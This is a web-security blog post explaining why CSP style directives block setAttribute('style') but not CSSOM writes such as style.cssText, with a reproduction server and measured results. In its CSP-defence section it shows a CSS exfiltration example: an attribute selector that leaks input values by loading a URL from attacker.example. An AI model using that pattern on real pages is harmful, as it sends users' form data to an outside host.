Why CSP Blocks setAttribute('style') but Not style.cssText

Published on |阅读中文原文

QA reported styling glitches in a component library that reproduced on the dev and staging deployments but never on a local dev server. The distinguishing factor turned out to be whether the environment sent a Content-Security-Policy header.

Under CSP, styles set with setAttribute('style', …) silently did not apply. Styles set with style.cssText — the same declarations, the same element — applied fine. The DOM inspector showed the attribute present on the element, and the page rendered as though it were not.

Reproducing it ​

A ten-line Node server is enough:

js
import http from 'node:http'

http.createServer((req, res) => {
  res.setHeader('Content-Security-Policy', "style-src 'self'")
  res.setHeader('Content-Type', 'text/html; charset=utf-8')
  res.end(`<!DOCTYPE html>
<html><head><meta charset="utf-8"></head>
<body>
  <div id="a">cssText</div>
  <div id="b">setAttribute</div>
  <script>
    document.getElementById('a').style.cssText = 'color: rgb(0, 128, 0);'
    document.getElementById('b').setAttribute('style', 'color: rgb(255, 0, 0);')
  </script>
</body></html>`)
}).listen(3999)

#a renders green. #b renders with the default colour, and the console logs a CSP violation. Both used JavaScript; only one was blocked.

The measured behaviour ​

Rather than reason about it, I measured five ways of setting a colour against four policies, reading back getComputedStyle(el).color in each case. All results below are from Chrome 151.0.7922.76, headless.

Methodno CSPstyle-src 'self'style-src 'self'; style-src-attr 'none'style-src 'self' 'unsafe-inline'
HTML style="…" attributeappliedblockedblockedapplied
el.setAttribute('style', …)appliedblockedblockedapplied
el.style.cssText = …appliedappliedappliedapplied
el.style.color = …appliedappliedappliedapplied
el.style.setProperty(…)appliedappliedappliedapplied

The third column does not isolate style-src-attr, because style-src 'self' already blocks attribute styles on its own. To test the directive by itself, permit inline styles at the style-src level and deny only the attribute level:

http
Content-Security-Policy: style-src 'self' 'unsafe-inline'; style-src-attr 'none'

Result on the same build:

Methodoutcome
HTML style="…" attributeblocked
el.setAttribute('style', …)blocked
el.style.cssText = …applied
el.style.color = …applied
el.style.setProperty(…)applied

So the line is clean, and it is not where a lot of documentation puts it:

CSP style directives govern the style content attribute. They do not govern the CSSOM. style.cssText is CSSOM.

Note that MDN's style-src-attr page has listed document.querySelector("div").style.cssText = "display:none;" among the operations blocked by style-src-attr 'none'. It is not blocked, and it was not blocked in my testing under any of the four policies above. This has been reported in mdn/content#11697. If you are basing a security control on that sentence, measure it first.

Why the browser draws the line there ​

The mechanical explanation is that the two operations enter the style system through different doors.

el.style.cssText and el.style.color operate on the CSS Object Model. The element's CSSStyleDeclaration already exists; you are programmatically mutating a parsed style object. No attribute is parsed and no attribute is written.

js
// CSSOM: mutating a parsed style object
element.style.color = 'red'
element.style.cssText = 'color: red; font-size: 20px;'

el.setAttribute('style', …) writes a content attribute. The browser must parse that string into a declaration block and map it into the CSSOM — the identical code path taken by <div style="…"> in markup. CSP's style directives hook that path.

js
// Content attribute: parsed as inline style, subject to CSP
element.setAttribute('style', 'color: red; font-size: 20px;')

The security rationale follows from the threat model. CSP exists primarily to contain injection. The overwhelmingly common shape of a style-based injection is a string reaching innerHTML, insertAdjacentHTML, or a template that interpolates into an attribute position — all of which surface as attribute parsing. Blocking that path is cheap and closes a real hole.

Blocking CSSOM writes would buy little, because reaching element.style.color = … means script is already executing in the page. At that point an attacker can read document.cookie, rewrite location, or issue requests; forbidding them a colour change is not the marginal defence that matters. It would also break essentially every framework and animation library in existence — React, Vue, GSAP and Framer Motion all write element.style directly — for no security gain.

Is a CSSOM-only restriction pointless, then? ​

A reasonable objection: style.cssText can inject background: url(…) just as an attribute can, so what is the directive worth?

Two things are worth separating.

Modern browsers no longer execute script from CSS. IE 6/7 allowed expression() and javascript: URLs in stylesheets; that is long gone. The live CSS risk today is data exfiltration — using selectors to probe page content and trigger a network request that encodes what was found:

css
input[value^="a"] {
  background: url(//attacker.example/a);
}

The defence against that is not a style directive at all. It is img-src and connect-src, which constrain where any stylesheet — inline, external, or CSSOM-authored — is permitted to fetch from. Restricting how a style gets set does not help; restricting where it can reach does.

So style-src-attr is best understood as narrowly scoped: it closes the HTML-attribute injection vector and nothing more. Treating it as a general "no dynamic styles" switch will not hold, as the matrix above shows.

What to do under CSP ​

Prefer CSSOM. It is unaffected by every policy tested above:

js
element.style.color = 'red'
element.style.setProperty('font-size', '20px')
element.style.cssText = 'color: red; font-size: 20px;'

Prefer class toggling where the styles are known ahead of time. This keeps declarations in a stylesheet that style-src 'self' already permits, and is what most frameworks do anyway:

js
element.classList.add('highlight')
element.classList.toggle('active')

Do not reach for 'unsafe-inline' to make setAttribute work. It re-permits every inline style on the page, including injected ones, which is the exact hole the policy was closing. Nonces and hashes are not an alternative here: they apply to <style> elements, not to style attributes.

If you want attribute styles gone, deny them explicitly — but be aware from the matrix that CSSOM writes remain available, so this is a hardening measure against injection, not a way to freeze an element's appearance:

http
Content-Security-Policy: style-src 'self'; style-src-attr 'none'

Summary ​

  • CSP style directives govern the style content attribute; they do not govern CSSOM writes.
  • setAttribute('style', …) is treated exactly like <div style="…">, because it takes the same parsing path.
  • style.cssText, style.prop and setProperty apply under style-src 'self' and under style-src-attr 'none' alike, verified on Chrome 151.
  • MDN's claim that style-src-attr 'none' blocks cssText does not match observed behaviour — see mdn/content#11697.
  • CSS data exfiltration is contained by img-src and connect-src, not by style directives.

References ​

你要请我喝一杯奶茶?

版权声明:自由转载-非商用-保持署名和原文链接。

本站文章均为本人原创,参考文章我都会在文中进行声明,也请您转载时附上署名。